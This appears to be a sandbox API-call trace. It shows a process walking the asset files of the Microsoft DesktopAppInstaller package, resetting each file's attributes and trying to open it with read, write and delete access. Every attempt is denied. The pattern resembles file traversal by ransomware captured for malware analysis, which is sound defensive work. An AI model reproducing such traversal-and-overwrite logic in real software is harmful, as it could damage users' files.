	[0091.817] wcscpy (in: _Dest=0x4790dc0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white"
	[0091.817] wcscat (in: _Dest=0x4790dc0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\"
	[0091.817] wcscat (in: _Dest=0x4790dc0, _Source="AppPackageBadgeLogo.scale-100_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageBadgeLogo.scale-100_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageBadgeLogo.scale-100_contrast-white.png"
	[0091.817] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageBadgeLogo.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackagebadgelogo.scale-100_contrast-white.png")) returned 0x20
	[0091.821] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageBadgeLogo.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0091.821] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageBadgeLogo.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackagebadgelogo.scale-100_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.821] GetLastError () returned 0x5
	[0091.821] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageBadgeLogo.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0091.821] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790dc0) returned 1
	[0091.821] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d354fd8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d354fd8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d354fd8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x49f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageLargeTile.scale-100_contrast-white.png", cAlternateFileName="")) returned 1
	[0091.821] wcscmp (_String1="AppPackageLargeTile.scale-100_contrast-white.png", _String2=".") returned 1
	[0091.821] wcscmp (_String1="AppPackageLargeTile.scale-100_contrast-white.png", _String2="..") returned 1
	[0091.822] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x168) returned 0x4790dc0
	[0091.822] wcscpy (in: _Dest=0x4790dc0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white"
	[0091.822] wcscat (in: _Dest=0x4790dc0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\"
	[0091.822] wcscat (in: _Dest=0x4790dc0, _Source="AppPackageLargeTile.scale-100_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageLargeTile.scale-100_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageLargeTile.scale-100_contrast-white.png"
	[0091.822] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageLargeTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackagelargetile.scale-100_contrast-white.png")) returned 0x20
	[0091.822] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageLargeTile.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0091.822] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageLargeTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackagelargetile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.822] GetLastError () returned 0x5
	[0091.822] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageLargeTile.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0091.822] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790dc0) returned 1
	[0091.822] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d354fd8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d354fd8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d354fd8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageMedTile.scale-100_contrast-white.png", cAlternateFileName="")) returned 1
	[0091.822] wcscmp (_String1="AppPackageMedTile.scale-100_contrast-white.png", _String2=".") returned 1
	[0091.822] wcscmp (_String1="AppPackageMedTile.scale-100_contrast-white.png", _String2="..") returned 1
	[0091.822] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x164) returned 0x4790dc0
	[0091.822] wcscpy (in: _Dest=0x4790dc0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white"
	[0091.822] wcscat (in: _Dest=0x4790dc0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\"
	[0091.822] wcscat (in: _Dest=0x4790dc0, _Source="AppPackageMedTile.scale-100_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageMedTile.scale-100_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageMedTile.scale-100_contrast-white.png"
	[0091.823] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageMedTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackagemedtile.scale-100_contrast-white.png")) returned 0x20
	[0091.823] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageMedTile.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0091.823] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageMedTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackagemedtile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.823] GetLastError () returned 0x5
	[0091.823] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageMedTile.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0091.823] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790dc0) returned 1
	[0091.823] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d354fd8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d354fd8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d354fd8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageSmallTile.scale-100_contrast-white.png", cAlternateFileName="")) returned 1
	[0091.823] wcscmp (_String1="AppPackageSmallTile.scale-100_contrast-white.png", _String2=".") returned 1
	[0091.823] wcscmp (_String1="AppPackageSmallTile.scale-100_contrast-white.png", _String2="..") returned 1
	[0091.823] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x168) returned 0x4790dc0
	[0091.823] wcscpy (in: _Dest=0x4790dc0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white"
	[0091.823] wcscat (in: _Dest=0x4790dc0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\"
	[0091.823] wcscat (in: _Dest=0x4790dc0, _Source="AppPackageSmallTile.scale-100_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSmallTile.scale-100_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSmallTile.scale-100_contrast-white.png"
	[0091.823] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSmallTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackagesmalltile.scale-100_contrast-white.png")) returned 0x20
	[0091.829] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSmallTile.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0091.829] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSmallTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackagesmalltile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.829] GetLastError () returned 0x5
	[0091.829] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSmallTile.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0091.829] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790dc0) returned 1
	[0091.829] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d354fd8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d354fd8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d354fd8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x56a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageSplashScreen.scale-100_contrast-white.png", cAlternateFileName="")) returned 1
	[0091.829] wcscmp (_String1="AppPackageSplashScreen.scale-100_contrast-white.png", _String2=".") returned 1
	[0091.829] wcscmp (_String1="AppPackageSplashScreen.scale-100_contrast-white.png", _String2="..") returned 1
	[0091.829] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x16e) returned 0x4790dc0
	[0091.829] wcscpy (in: _Dest=0x4790dc0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white"
	[0091.829] wcscat (in: _Dest=0x4790dc0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\"
	[0091.829] wcscat (in: _Dest=0x4790dc0, _Source="AppPackageSplashScreen.scale-100_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSplashScreen.scale-100_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSplashScreen.scale-100_contrast-white.png"
	[0091.830] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSplashScreen.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackagesplashscreen.scale-100_contrast-white.png")) returned 0x20
	[0091.830] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSplashScreen.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0091.830] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSplashScreen.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackagesplashscreen.scale-100_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.830] GetLastError () returned 0x5
	[0091.830] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSplashScreen.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0091.830] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790dc0) returned 1
	[0091.830] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d37b231, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d37b231, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d37b231, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x219, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageStoreLogo.scale-100_contrast-white.png", cAlternateFileName="")) returned 1
	[0091.830] wcscmp (_String1="AppPackageStoreLogo.scale-100_contrast-white.png", _String2=".") returned 1
	[0091.830] wcscmp (_String1="AppPackageStoreLogo.scale-100_contrast-white.png", _String2="..") returned 1
	[0091.830] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x168) returned 0x4790dc0
	[0091.830] wcscpy (in: _Dest=0x4790dc0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white"
	[0091.830] wcscat (in: _Dest=0x4790dc0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\"
	[0091.830] wcscat (in: _Dest=0x4790dc0, _Source="AppPackageStoreLogo.scale-100_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageStoreLogo.scale-100_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageStoreLogo.scale-100_contrast-white.png"
	[0091.830] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageStoreLogo.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackagestorelogo.scale-100_contrast-white.png")) returned 0x20
	[0091.833] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageStoreLogo.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0091.833] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageStoreLogo.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackagestorelogo.scale-100_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.834] GetLastError () returned 0x5
	[0091.834] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageStoreLogo.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0091.834] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790dc0) returned 1
	[0091.834] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d37b231, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d37b231, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d37b231, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x31a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageWideTile.scale-100_contrast-white.png", cAlternateFileName="")) returned 1
	[0091.834] wcscmp (_String1="AppPackageWideTile.scale-100_contrast-white.png", _String2=".") returned 1
	[0091.834] wcscmp (_String1="AppPackageWideTile.scale-100_contrast-white.png", _String2="..") returned 1
	[0091.834] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x166) returned 0x4790dc0
	[0091.834] wcscpy (in: _Dest=0x4790dc0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white"
	[0091.834] wcscat (in: _Dest=0x4790dc0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\"
	[0091.834] wcscat (in: _Dest=0x4790dc0, _Source="AppPackageWideTile.scale-100_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageWideTile.scale-100_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageWideTile.scale-100_contrast-white.png"
	[0091.834] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageWideTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackagewidetile.scale-100_contrast-white.png")) returned 0x20
	[0091.834] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageWideTile.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0091.834] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageWideTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackagewidetile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.834] GetLastError () returned 0x5
	[0091.834] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageWideTile.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0091.834] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790dc0) returned 1
